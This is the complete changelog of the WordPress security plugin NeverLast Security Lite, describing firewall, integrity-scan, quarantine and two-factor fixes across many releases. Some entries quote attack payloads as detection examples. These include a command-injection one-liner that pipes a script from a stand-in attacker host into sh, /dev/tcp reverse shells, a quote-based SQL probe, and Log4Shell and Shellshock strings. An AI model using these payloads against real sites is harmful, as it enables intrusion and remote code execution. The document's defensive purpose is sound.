= 1.2.7 =
Addressed Plugin Check filesystem warnings: use WP_Filesystem Direct for protected evidence permissions, writable-folder checks, and safe nonrecursive uninstall cleanup. The byte-bounded encrypted evidence streams remain native PHP streams, with a narrowly scoped documented PHPCS exception because WP_Filesystem has no streamed exclusive-create or bounded read/write interface. Permission failures fail closed, preserving original files and unmigrated legacy records.

= 1.2.6 =
WordPress.org prereview remediation: held evidence now uses the configured uploads folder under neverlast-security-lite/quarantine, with AES-256-GCM authenticated encryption and a legacy Base64 migration path that preserves originals until verified. The uploads scanner records portable uploads-relative findings and omits its own evidence directory; baseline traversal excludes custom uploads locations. Direct restoration of suspicious executable/server-control files is disabled; administrators can export encoded evidence or permanently remove it. Notices are limited to NeverLast Security pages. The redundant plugin core inclusion was removed, and the Ahrefs legal privacy-policy link was updated.

NeverLast Security Lite - complete release history
===========================================================

The plugin readme lists only the latest releases. Every release is recorded here in full,
newest first.

== Changelog ==

= 1.2.5 =

* Fixed: the firewall inspected a request body only for POST, PUT, PATCH and DELETE, and only when its Content-Type was one of a short list of exact labels. WordPress's REST API reads more than that: it decodes a JSON body on GET as well, honours ?_method=, and reads labels such as "application/json,", "application/json+oembed" and "application/x(y)+json" as JSON, while webhook and plugin handlers often read the raw body without looking at the label at all. A hostile body sent in any of those ways reached WordPress uninspected and unlogged, in every mode including Strict. The body is now read for every request, whatever its method or label, and JSON is decoded when the body looks like JSON as well as when it is declared, so escaped sequences such as \u003c are matched. JSON nested too deeply to decode is an incomplete inspection under any label. A multipart POST is unchanged: PHP has already parsed it into the form fields, which are inspected.
* A binary file sent as a raw body, such as an image a REST client uploads, is recognised by its file signature and left to the upload guard, as before. Read as text, 20 of the 283 image, font and audio files in a WordPress 7.1 installation with its bundled themes match a request rule at a blocking score, and 99 exceed the inspection budget. A body declared as text, a form, JSON, XML or GraphQL is always inspected, whatever bytes it starts with.
* Fixed: with "Delete Lite data on uninstall" enabled, uninstall left wp-content/.nlssl-quarantine/.htaccess and the directory behind, because the file list it used skips dot files. Uninstall also removes storage probes that Repair storage could not delete because the database failed while it ran, and Repair storage now removes its probe when a write cannot be confirmed.
* Hardening: the TOTP code computed for a secret that cannot be decoded is empty instead of 000000. Verification already refused such a secret before computing a code, so this was not reachable.
* An integrity comparison branch that could never run was removed; findings are unchanged.
* Tests: the diagnostic suite sends a hostile body under ten labels and seven methods, an escaped JSON payload, JSON nested too deeply, and binary files with and without a declared text type (92 checks, 70 before). The smoke suite covers which labels WordPress reads as JSON, binary file signatures, and the empty TOTP code (480 checks, 350 before). A new uninstall suite runs uninstall.php against options, transients, user metadata, tables, schedules and a real quarantine directory, including look-alikes it must keep and links it must not follow (14 checks). The functional test checks every label and method against WordPress's own REST request, and passes every image WordPress ships through the request firewall (87 checks, 85 before). Run against 1.2.4, the new firewall checks fail for every label and method that was skipped, and the uninstall suite fails on the .htaccess and the storage probes it left behind.

= 1.2.4 =

* Fixed: the baseline build and the file comparison run in bounded 8-second steps and remembered where they were in each folder by numeric position in its sorted listing. When an entry was added or removed in that folder between steps, the position shifted. An added entry made the scan check a folder (often a whole subtree) a second time, so its file count no longer matched its staged rows and the comparison stopped with "Integrity storage could not be verified". A removed entry made it skip the next one, which was then reported as deleted, or, if it was new, not inspected in that run. WordPress itself triggers this: it writes .maintenance at the site root during every core, plugin or theme update. Each folder now resumes after the last file name it checked, as the uploads sweep already did, so an entry that exists throughout is checked exactly once whatever else changes. A comparison or baseline saved mid-way by an earlier release continues from its saved position once and then by name.
* A folder listing is now read once per step instead of once per entry, which makes large folders faster to compare.
* Tests: the resource suite walks a tree with the listing re-read before every entry while entries are added and removed at the root and in the current folder, plus the conversion of a saved position and the retry of a file whose hashing ran out of time (8 new checks). A traversal that resumes by position fails it.

= 1.2.3 =

* Fixed: on WordPress 6.6, quarantining a file removed the original from uploads, then discarded the verified held copy, logged nothing and reported "Nothing was quarantined". wp_delete_file() only returns a value since WordPress 6.7; on 6.6 it returns nothing, which the code read as a failed deletion. Every deletion whose outcome matters (quarantine, Delete permanently, Clear record) is now confirmed by checking the disk afterwards, which also covers a wp_delete_file filter that redirects or cancels the deletion. Delete permanently and Clear record had succeeded on 6.6 but reported failure.
* The emergency response page registers its styles with wp_register_style() and wp_add_inline_style() instead of printing a style element.
* Readme: Installation now lists the protective defaults applied at activation (XML-RPC and Application Passwords disabled, REST user endpoints hidden, author enumeration blocked, code editor disabled) and how to re-enable what an integration needs; Privacy states that throttled critical alerts are on by default. THIRD-PARTY-NOTICES.txt lists every optional external service.
* Tests: the offline suites now also run file deletion under the WordPress 6.6 contract, and the functional test was run on WordPress 6.6, 6.7 and 7.1. The security regression suite evaluated its failures before its last 18 checks (scan notices and the quarantine round trip), so those could never fail the run; the check now runs after every section. All of them pass.

= 1.2.2 =

* Fixed: shell command injection scored 0 when it started the injected command with $( ) substitution, a single pipe or a line break, for example $(curl http://attacker.example/x.sh | sh), 127.0.0.1|id, or whoami after an encoded %0a. The firewall recognised only ;, &&, || and backticks before a command. Four rules now cover command substitution; a pipe or line break followed by a shell, downloader, recon or netcat command; and /dev/tcp reverse shells. Each scores 95, above the blocking threshold of both Balanced and Strict mode.
* The rules are shaped to leave ordinary content alone: jQuery calls such as $(document) and $(id).closest(), accounting figures such as $(1,234.56), WooCommerce attribute options such as "Straight | Curl | Wavy", markdown tables, pasted lists with an id line, and Makefiles. Install one-liners of the form curl ... | sh have no breakout operator and remain allowed on purpose.
* Every firewall rule is tested to complete on hostile-shaped input at the 32 KB inspection limit, so a regular-expression limit cannot silently skip a rule.
* The REST nonce check that puts an administrator's own requests in monitor-only mode is now an explicit condition, with tests for verified, forged, missing, zero-result and non-string nonces. Behaviour is unchanged.

= 1.2.1 =

* Fixed: the firewall inspected form fields, cookies and request headers after WordPress had added slashes to them. A quote-based SQL probe such as ' OR '1'='1 in a multipart form field therefore scored 0 instead of 70 and was not blocked in Strict mode, and the same probe in a cookie was not recorded. GET query strings and urlencoded forms were already caught through the raw address and body. Every input is now inspected exactly as the client sent it.
* Every administrator and two-factor action verifies its nonce at the top of its own handler. Request headers used outside the firewall are unslashed and sanitized, admin settings are sanitized as they are read, and asset loading uses the admin screen WordPress provides instead of reading the page parameter.
* The rate-limit capacity check uses one complete SQL statement per limit class instead of an assembled WHERE clause.
* Uninstall deletes user metadata and lists users through WordPress APIs, drops tables with identifier placeholders, and removes transients by prefix in one loop.
* WordPress Plugin Check reports no errors and no warnings. Direct queries that remain, on the plugin's own tables and for atomic locks, carry a scoped exemption that states why.

= 1.2.0 =

* Renamed to NeverLast Security Lite, with the plugin folder and text domain neverlast-security-lite. Settings, the approved baseline, two-factor enrolments, held quarantine copies and the activity log carry over unchanged. Deactivate the previous copy before activating this one; if both are active at once, activation is refused with an explanation instead of failing.
* New opt-in setting, off by default: "Verify changed core and plugin files with WordPress.org checksums". Until it is enabled, NeverLast Security Lite makes no request to WordPress.org at all. When enabled, requests carry only the WordPress version and locale, or the plugin slug and version, with a plugin-only user agent instead of the WordPress default that includes the site address. Core checksums are fetched over HTTPS only and cached for six hours like plugin checksums.
* While checksums cannot be compared, a WordPress core update is grouped as update drift, as plugin and theme updates already were, instead of producing one finding per changed core file. Each grouped file is still inspected for dangerous content.
* Every button, link, field and setting now explains what it does on mouse-over.
* Fixed: the admin script that returns you to the same place after saving a form (added in 1.1.20) was missing from the released package, so every NeverLast Security admin page requested a file that did not exist. The build now fails if any enqueued file is missing from the package.
* Checksum lookups reject a version, locale or slug containing a trailing line break before any request is made.
* Database queries pass table names as identifier placeholders, and the plugin passes WordPress Plugin Check with no errors.
* Uninstall with "Delete Lite data on uninstall" also removes cached checksum lists.

= 1.1.24 =

* A hold whose encoded copy has been removed by something other than NeverLast Security is now reported instead of disappearing. Previously the row vanished from Health & Integrity, leaving the original gone from uploads, the copy gone, and no record of a decision the administrator never made.
* Restore and Delete permanently now refuse such an entry with an explanation - NeverLast Security never deletes a held copy on its own, so a host antivirus, a backup restore or a manual cleanup removed it - and a Clear record action removes the stale entry. Clearing refuses while the copy is still present, because destroying evidence stays a separate, confirmed decision.
* The dashboard notice counts missing copies separately, and the clearance is written to the activity log.

= 1.1.23 =

* Quarantine is now a decision queue instead of a store. A held file waits for the administrator to restore it, download it as evidence, or delete it permanently; nothing is ever deleted on a timer, and a dashboard notice keeps asking until the queue is empty.
* Held copies are stored Base64-encoded, so the artifact is not executable code under any server configuration. Previously the copy was byte-identical to the original and relied on filesystem permissions, a non-executable extension and Apache/IIS deny guards - none of which apply on nginx. Those layers remain as defence in depth.
* The original SHA-256 is now verified in both directions: the encoded copy is decoded back and re-hashed before the source file is removed, and again before any restore. Items held by an earlier version restore unchanged.
* Added Delete permanently and Download evidence actions, both capability-checked, nonce-protected, confirmed and logged. The evidence download streams the encoded form, so a sample cannot be re-uploaded or executed by accident.
* Held copies are removed during uninstall when "delete data on uninstall" is enabled, instead of always being left behind.
* Documented the WordPress.org checksum lookups used to tell an ordinary component update apart from an unexplained change, and added terms/privacy links for the optional crawler IP-list providers.

= 1.1.22 =

* Fixed the notice shown after a local comparison. A scan that completed and recorded differences - the normal outcome after a plugin or theme update, when the approved baseline still describes the previous version - was announced as "The integrity scan did not complete; no clean result was recorded". Completed-with-differences, still-running and genuinely-incomplete are now three distinct messages, so an administrator is no longer sent looking for a broken scanner after an ordinary update. The scan itself, its findings and the stored evidence were always correct; only the message was wrong.

= 1.1.21 =

* Fixed a firewall coverage gap: the User-Agent header was no longer inspected, so Log4Shell (${jndi:...}) and Shellshock (() { :; };) payloads delivered in that header passed without a score or a log entry. The header is inspected as blocking input again, and the regression suite now asserts both the detection and the absence of false positives on ordinary browser, bot and platform agents.

= 1.1.20 =

* Fixed `baseline_transaction_engine` after a fully staged/verified baseline by requiring transactional storage only for the approved baseline table; the staging table is read-only during commit and may use the host default engine.
* Added robust table-engine detection with `SHOW TABLE STATUS` plus metadata fallback and verified conversion of only the NeverLast Security baseline table to InnoDB when required.
* Preserves a fully verified staged baseline when final commit storage cannot be prepared; commit becomes resumable/manual instead of showing a contradictory failed + in-progress state.
* Clears stale `baseline_transaction_engine` degraded state after a verified successful commit.
* Added NeverLast Security admin scroll restoration: after POST actions and redirects, the browser returns to the same panel/relative scroll position instead of jumping to the page top.

= 1.1.19 =

* Removed the legacy 25,000-file total ceiling that could abort resumable baselines with `file_limit`; resumable code inventories now use a 500,000 tracked-file / 2,000,000-entry hard safety ceiling intended only to stop runaway traversal.
* Extended resumable DB-staged traversal to the normal code comparison so large installations do not create a large baseline and then fail during Run local comparison.
* Main code comparison now stages bounded chunks and performs indexed SQL differences against the approved baseline instead of loading the whole current filesystem inventory into PHP memory.
* Raised the resumable uploads hard safety ceiling for large media libraries while keeping per-request execution and memory budgets bounded.
* Extended resumable state lifetimes and exposed code-scan phase/progress in the Security Report and Health & Integrity UI.

= 1.1.18 =

* Made baseline creation resumable with a dedicated staging table, bounded collection chunks, a complete second verification pass, and atomic staging-to-baseline commit.
* Preserved the previously approved baseline throughout collection and verification; filesystem drift aborts the staged job instead of approving a mixed snapshot.
* Added visible baseline progress plus automatic WP-Cron continuation and manual Continue baseline build.
* Added Reports → Clear all report data with explicit confirmation. It clears retained events and latest Health/Integrity report snapshots without deleting the approved baseline, trusted hashes, quarantine, settings, TOTP or recovery state.

= 1.1.17 =
* Fixed an availability regression where authenticated administrator POST/AJAX requests could be blocked by WAF heuristics before WordPress handled their own capability/nonce checks.
* Authenticated administrators with manage_options are now monitor-only inside wp-admin; suspicious shapes remain logged with rule/source evidence.
* Cookies, Referer and forwarded-host metadata are observation-only inputs and can no longer block a public request by themselves.
* Added blocking_score/blocking_rules plus redacted source/field evidence to firewall events for compatibility diagnostics.
* Public URI/GET/POST/JSON/body attack shapes, automated attack tools and anonymous rate limits remain blocking according to the configured WAF mode.

= 1.1.16 =
* Exact-hash trust now requires an explicit review checkbox before submission.
* Successful trust actions reconcile the current scan snapshot immediately, so the trusted finding/button disappears without requiring another scan.
* Trust is idempotent: repeated submissions of the same path/type/hash no longer create duplicate warning events.
* Integrity action feedback now includes the trusted path/hash and uses a visible success notice.
* Aligns trustable runtime guard-file actions with server-side validation.

= 1.1.15 =
* Treat high-confidence defensive runtime guard/server-control observations as non-blocking integrity information while keeping them visible in scan evidence.
* Add blocking_count and informational_count to integrity results so support tooling can distinguish actionable changes from defensive evidence.


= 1.1.14 =
* Mail transport: do not treat a generic `phpmailer_init` listener as proof that SMTP/API delivery exists.
* Mail diagnostics: map the PHPMailer `undefined function ... mail()` failure to `mail_transport_unavailable` when PHP `mail()` is disabled.
* Health: a site with notifications enabled, PHP `mail()` disabled, and no real short-circuit/override transport now reports the mail path as unavailable instead of PASS.


= 1.1.13 =
* Integrity: uploads scanning is resumable. Time-bounded chunks persist a verified traversal cursor and continue automatically through WP-Cron; administrators can also use Continue local comparison. A clean verdict is never reported until all chunks complete.
* Integrity: root server-control files whose filesystem mtime predates the approved baseline are reported as historical coverage gaps rather than falsely claiming they were added after approval, unless semantic analysis finds an execution-enabling directive.
* Integrity: cPanel/MultiPHP-managed `.user.ini` files without auto-prepend/append or remote-include directives are classified as runtime configuration review rather than executable-code evidence.
* Mail: detect the confirmed no-transport state (PHP `mail()` unavailable with no SMTP/API hook or `wp_mail` override) before PHPMailer throws, and return `mail_transport_unavailable` with an actionable diagnostic.
* Health: add a Security email transport check when NeverLast Security email notifications are enabled.

= 1.1.12 =

* Integrity: replaces raw binary image keyword scanning with format-aware structural boundary parsing for JPEG, PNG, WebP, GIF and ICO; compressed image payload bytes no longer trigger accidental PHP-tag findings, while executable trailing payloads remain high-confidence findings.
* Integrity: parses .htaccess, .user.ini and web.config semantics so defensive rules such as SetHandler none, RemoveHandler .php, php_flag engine off and Require all denied are classified as defensive instead of dangerous.
* Integrity: analyzes .user.ini directives explicitly and escalates auto_prepend_file, auto_append_file, allow_url_include and remote include paths.
* Provenance: verifies changed WordPress core files against official core checksums and WordPress.org-hosted plugins against official plugin checksums when available; verified update drift is grouped by component instead of emitted as dozens of independent alerts.
* Provenance: distinguishes official match, mismatch, unknown file and unavailable/unverified package evidence without treating unavailable network provenance as a clean verdict.
* Reporting: aggregates all observations for one path into one finding with classification, confidence, provenance, evidence and safe actions, eliminating malformed action rows in exported/rendered reports.
* Compatibility: upload inspection receives the original media extension even when PHP stores the upload in an extensionless temporary path.
* Safety: core/plugin/theme source is never auto-quarantined from baseline drift; quarantine remains restricted to revalidated high-confidence executable findings under uploads.

= 1.1.11 =

* Diagnostics: exposes the actual WordPress mail transport failure code/message after administrator delivery tests instead of only a generic rejection notice.
* Storage: adds an explicit NeverLast Security storage repair/read-back action and displays missing schema or persistence failure reasons before baseline retry.
* Integrity: baseline commit no longer depends on the transaction engine used by wp_options; the NeverLast Security baseline table remains the authoritative transaction.
* Integrity: raises bounded inventory/upload budgets, reports exact incomplete-scan reasons and removes false excluded-tree matches from source directories merely named Cache.
* Detection: media scanning requires high-confidence PHP/active-SVG signals and records escaped code snippets, signal IDs, byte offsets/lines and inspection coverage.
* Remediation: adds exact-hash trust, explicit quarantine for narrowly eligible suspicious uploads, and hash-verified restore without overwriting an existing file. No automatic remediation is performed.
* Safety: quarantine revalidates the finding hash and path, refuses symlink/junction paths, writes a verified non-executable copy plus manifest before removing the original, and never auto-quarantines core/plugin/theme source.

= 1.1.10 =

* Security: when XML-RPC disablement is enabled, remove all registered XML-RPC methods including public pingback methods and suppress XML-RPC discovery headers/links instead of relying only on `xmlrpc_enabled`.
* Compatibility: keep WAF inspection active while exempting validated classic WooCommerce transactional AJAX and WooCommerce Store API Cart/Checkout routes only from the optional generic anonymous request bucket.
* Compatibility: preserve authenticated WordPress REST user endpoints such as `/wp/v2/users/me`; public user-enumeration protection now targets anonymous requests and leaves native REST permission callbacks authoritative after login.
* Compatibility: allow verified authenticated REST content mutations for Site Editor templates, template parts, navigation and compatible custom post types to bypass only content-field XSS signatures; all non-XSS WAF rules remain active.
* Correctness: never report `WP_DEBUG=true` as a pass, detect public debug-log exposure, and bind Health conclusions to current runtime state.
* Correctness: detect missing or overdue NeverLast Security WP-Cron events, unsupported database versions, reverse-proxy HTTPS recognition mismatches, real-client-IP proxy configuration, a missing default fallback theme and `wp-config.php` in the supported parent-directory location.
* Recovery: clear the affected account's login-attempt/lockout buckets after a verified WordPress password reset, and detect/warn when an administrator TOTP seed is unreadable after authentication-salt rotation.
* Persistence: centralize read-back verification for important transients with scalar normalization across database/object-cache backends and fail closed on over-capacity live fallback state instead of silently evicting entries.
* Integrity: migrate baseline identity from a 191-character path-prefix key to SHA-256 of the complete path, retaining the full path for reporting and rejecting an unverified schema migration.
* Uploads: validate raw dotfile names before WordPress filename sanitization and hold active SVG payloads containing script-capable elements, event handlers, JavaScript schemes, HTML data URLs or XML stylesheets.
* Headers: add NeverLast Security baseline response headers only when an equivalent PHP-level header is absent, so the plugin does not replace a stricter policy already supplied by another integration.
* Input hardening: reject malformed array/object-shaped values for scalar settings, emergency/TOTP controls and approval flags instead of relying on PHP coercion.
* Proxy/TOTP: preserve Secure on the final WordPress authentication cookie when the configured site URL is HTTPS even if a reverse proxy has not made `is_ssl()` true.

= 1.1.9 =

* Correctness: report public debug exposure only when `WP_DEBUG` is actually enabled; a standalone `WP_DEBUG_DISPLAY=true` no longer creates a false warning, and stale Health results from older plugin versions are not presented as current.
* Reliability: contain exceptions from `wp_mail()` and mail hooks so Test email and automated security notifications fail cleanly instead of crashing WordPress.
* Compatibility: keep WAF payload inspection active while excluding known WooCommerce cart/checkout AJAX transactions from the optional generic public request counter.
* Reliability: contain WordPress HTTP transport/hook exceptions during directory-listing health checks and official bot IP-list refreshes; non-2xx directory checks are now reported as inconclusive rather than passed.
* Persistence: verify important bot/audit transients by reading them back so WordPress's `false` return for an unchanged transient is not misreported as a storage failure.
* Reliability: stop integrity and uploads scans cleanly when files or directories disappear/change during enumeration instead of allowing filesystem races to terminate the request.
* Reliability: abort crawler DNS verification when queue advancement cannot be persisted, preventing repeated work against a stale queue.

= 1.1.8 =

* Security: isolate login, emergency, event, public and general rate-storage capacity so unrelated request churn cannot starve emergency recovery.
* Security: bind emergency-secret attempt limits to the signed one-time challenge across all source IPs.
* Security: enforce cumulative per-account TOTP failure and challenge-issuance limits; retain parallel challenges until one succeeds, then revoke all of them before authentication.
* Security: bind each TOTP challenge to the administrator password hash and roles, and rate-limit TOTP maintenance, administrator reset reauthentication and emergency-secret rotation independently of source IP.
* Security: inspect URL-encoded mutation bodies and selected client-controlled routing headers in addition to parsed forms, JSON, XML, cookies and request URLs.
* Correctness: verify TOTP challenge, secret, recovery-code and account-state persistence; detect and repair the required challenge schema; fail closed on partial writes, deletion failures, entropy failure or challenge-cookie failure.
* Correctness: contain session-provider exceptions during Login Freeze and report a partial emergency action without losing the active freeze or action lock.
* Correctness: verify stale-baseline, incomplete-integrity, health-result, report, audit-window, notification-throttle and official bot-list storage before reporting success.
* Reliability: isolate crawler queues, reschedule stranded verification work, reject malformed cached bot lists in both enforcement and status, surface failed cron registration and verify cleanup operations.
* Maintenance: remove all isolated fallback counters during opt-in uninstall and extend local regression coverage for the new boundaries.

= 1.1.7 =

* Security: fail closed on incomplete anonymous/state-changing Balanced inspections; bound unknown login identities and isolate login counter capacity from public/event churn.
* Compatibility: recognize exact authorized core content-save flows with capability and nonce checks, retaining other fields and non-XSS checks.
* Correctness: verify emergency-secret and Freeze persistence directly against storage; retain emergency links after failure/partial invalidation and reject used links even if token cleanup fails.
* Correctness: verify integrity reads, transaction engine/start/commit/rollback and baseline metadata; retain prior scan results on database errors.
* Detection: inventory executable/server-control files in excluded cache/backup trees without hashing static cache payloads.
* Tests: add offline and isolated WordPress/MariaDB failure-injection regressions. Development tests are not shipped.

= 1.1.6 =

* Security: inspected request sources independently, included parameter names and bounded decoded JSON, and exposed incomplete coverage. Inspected authenticated admin mutations and avoided normalization expansion starving later content.
* Security: unified existing username/email login aliases under a salted account identity, applied the risky admin-name policy to the resolved account and cleared canonical locks after success.
* Security: detected rate-storage errors, added bounded ordinary-login fallback and fail-closed emergency/queue behavior, verified internal tables and rate-limited automatic schema repair.
* Resources: enforced incremental retention on log insertion, used global event-type counters, pruned expired rate rows and refused new capacity-overflow identities without evicting live locks.
* Security: reported symlinks without following them, reviewed uploads server-control files, streamed media inspection beyond the former 8 KiB prefix and made SHA-256 hashing deadline-aware between chunks.
* Compatibility: refused unsupported multisite activation and paused pre-existing multisite installs without shared-user cleanup.
* Correctness: applied successful-mail cooldown only after delivery acceptance, retained a short failure backoff and generated/reused emergency tokens only after obtaining a notification slot.
* Correctness: cleared known emergency/login notification tokens and Lite user-meta caches during opt-in uninstall without flushing other components' caches or deleting their data.
* Tests: added local defensive regressions for the diagnostic findings; no test fixtures or Pro engine code are shipped.

= 1.1.5 =

* Security: rejected enrollment and confirmation over an existing verified authenticator, including awaiting recovery acknowledgement and globally paused enforcement. Replacement requires the verified disable flow first.
* Security: revoked issued emergency links when the feature is disabled or the target loses administrator access; reserved valid links atomically before freezing, failing closed on duplicate claims or database failure.
* Correctness: retained recovery-code acknowledgement after refresh without redisplaying secrets; removed the redundant activation form after replacing codes on an active account.
* Correctness: showed configured-but-globally-paused TOTP accurately, preserved its maintenance controls and used singular/plural recovery-code counts.
* Correctness: invalidated user-meta cache after consuming a recovery code and accepted lowercase recovery-code input without weakening one-use checks.
* Documentation: clarified that only an administrator password reset lifts Emergency Login Freeze and does not bypass TOTP.

= 1.1.4 =

* Security: blocked pending two-factor challenge completion during Emergency Login Freeze and revoked pending challenges when freezing, changing a password/role or resetting two-factor state.
* Security: rechecked administrator capability and active two-factor state before issuing the authenticated session.
* Security: rejected empty or undecodable TOTP keys rather than accepting a zero-code fallback.
* Security: bounded raw request-body reads at 32 KiB before allocation rather than reading the entire body and truncating afterward.
* Correctness: incomplete/unreadable integrity inventories cannot replace a baseline or report a clean comparison.
* Correctness: upload inspection checks time, memory and file limits inside traversal and exposes incomplete coverage instead of reporting success.
* Correctness: administrator-login notifications respect their own switch independently from critical-incident alerts while retaining delivery throttling.

= 1.1.3 =

* Added owner-confirmed author, company and public support/security contact metadata. No security-engine behavior changed.

= 1.1.2 =

* Classified unconfirmed backup availability as a Low informational finding; backup and restoration recommendations remain visible.
* Added a Get PRO link to neverlast.ro in NeverLast Security Lite administration pages only, without automatic requests or global dashboard notices.
* Allowed emergency secrets from 6 to 128 characters without mandatory character classes. Longer unique phrases remain recommended; current-secret validation, signed one-use links and attempt limits are unchanged.

= 1.1.1 =

* Added opt-in, separately configurable DuckDuckBot, Ahrefs and UptimeRobot verification using fixed official HTTPS IP-list endpoints, with IPv4/IPv6 support where published.
* Added daily background refresh, queued manual refresh, visible status and report export metadata. Disabled services make no provider requests.
* Added strict whole-body validation, response/record/time bounds, redirect rejection and last-good fallback with a seven-day hard expiry.
* Restricted every crawler and local-audit rate exception to GET/HEAD; WAF and authentication remain active.
* Added offline mocked-provider security regressions and local WordPress activation/upgrade checks. No Pro engines or licence-server dependencies were added.

= 1.1.0 =

* Added Alerts & Recovery configuration with a selectable recipient, delivery test and configurable login-freeze duration.
* Added a separately hashed secret for short-lived, one-use emergency freeze links in administrator-login notifications.
* Added bounded JSON security reports and CSV activity-log exports with IP-hash exclusion and spreadsheet formula neutralization.
* Made integrity status visible with baseline file count, schedule state and latest local comparison result.
* Removed external WordPress checksum requests; exposed Lite integrity comparison is fully local.
* Added opt-in, background FCrDNS verification for a rate-limit-only Googlebot and Bingbot exception, with bounded caching and fail-closed behavior.
* Extended verified crawler support to Applebot and Yandex, added an explicit crawler registry, and added a temporary source-IP-bound Lighthouse/local-audit window.
* Expanded the registry with regional search and AI agents while keeping all identities without strong verification non-exempt.

= 1.0.3 =

* Blocked comment-obfuscated SQL UNION SELECT probes.
* Added high-confidence loopback and instance-metadata SSRF detection while preserving the site's own origin.
* Added encoded CRLF response-splitting detection without treating ordinary header prose as hostile.
* Expanded the local-only attack laboratory with a dedicated Lite evasion matrix.

= 1.0.2 =

* Enforced administrator TOTP across custom password-login forms and refused non-interactive password channels that cannot complete the challenge.
* Made failed-login counters truly global per attempted account and made shared-proxy-sensitive IP lockout explicitly optional.
* Extended bounded WAF inspection to authenticated dynamic requests and XML, text and GraphQL request bodies.
* Added one-use TOTP replay protection, encrypted temporary recovery-code display state and password reauthentication for cross-administrator TOTP reset.
* Included executable dependency files under vendor directories in the integrity baseline while excluding vendor static metadata.
* Updated PHP and Application Password health guidance and added upgrade-safe table checks.

= 1.0.1 =

* Fixed an empty allowed-path list implicitly excluding the site root from firewall inspection.
* Fixed sensitive-file probes being missed when request components added payload separators.
* Added bounded coverage for common configuration backups, database archives, Log4Shell, Shellshock, template-expression and backtick command probes.
* Added an audited 404 response for exact GraphQL probe routes when no compatible GraphQL endpoint is detected; custom endpoints remain configurable through allowed paths.
* Added request-shaped firewall regression tests.

= 1.0.0 =

* Initial independent GPL Lite release candidate.
* Added local request and upload firewall controls.
* Added login limiting, enumeration controls, session invalidation and Emergency Login Freeze.
* Added administrator TOTP with authenticated encryption and one-use recovery codes.
* Added prioritized health checks and explicit read-only integrity baselines.
* Added bounded local logs, throttled alerts and privacy disclosure.

== Upgrade notices ==

= 1.1.20 =

Baseline commit and admin workflow reliability update. Fully staged/verified baselines can resume directly at commit after upgrade, staging-table engine no longer blocks atomic approval, and NeverLast Security admin actions restore the previous scroll position after redirects.

= 1.1.19 =

Large-site integrity reliability update. Baseline and local code inventories continue across bounded requests instead of treating the former 25,000-file threshold as a normal-site failure. Existing approved baselines remain untouched until a replacement build is fully verified and committed.

= 1.1.18 =

Baseline reliability and report-retention update. Baseline creation now resumes across bounded chunks and commits only after a full second-pass verification; Reports adds an explicit Clear all report data action that preserves baseline/trust/quarantine/security configuration.

= 1.1.13 =

Reliability update driven by the NeverLast Security Diagnostics support bundle. Upload inspection now resumes across bounded chunks instead of restarting at the time budget; `.user.ini` baseline coverage is classified semantically; and missing server/SMTP mail transport is reported explicitly.

= 1.1.12 =

Integrity engine correction. Adds format-aware media parsing, semantic server-control analysis, official core/plugin provenance and deduplicated findings. Run a fresh local comparison after upgrade; do not quarantine media based on pre-1.1.12 code_in_media findings.

= 1.1.11 =

Integrity/remediation correctness update. Adds actionable mail/storage diagnostics, reduces cache/media false positives, displays executable evidence, and introduces explicit exact-hash trust plus reversible quarantine for eligible uploads. Run Health and a fresh local comparison after upgrade.

= 1.1.10 =

Security/correctness update for XML-RPC disablement, WooCommerce Store API compatibility, REST/TOTP recovery, upload inspection, health diagnostics and integrity-baseline schema migration. Run Health after upgrade and rebuild the local integrity baseline only if NeverLast Security reports it stale or unavailable.

= 1.1.0 =

Adds administrator alert/recovery controls, offline integrity evidence and bounded report downloads.

= 1.0.3 =

Security hardening for SQL comment evasion, local/metadata SSRF targets and encoded CRLF response splitting.

= 1.0.2 =

Security hardening for TOTP coverage, distributed login limiting, dynamic request inspection and executable dependency integrity.

= 1.0.1 =

Security update for request firewall routing and high-confidence attack coverage.

= 1.0.0 =

First independent NeverLast Security Lite release. Test Monitor mode and recovery procedures on staging before production use.
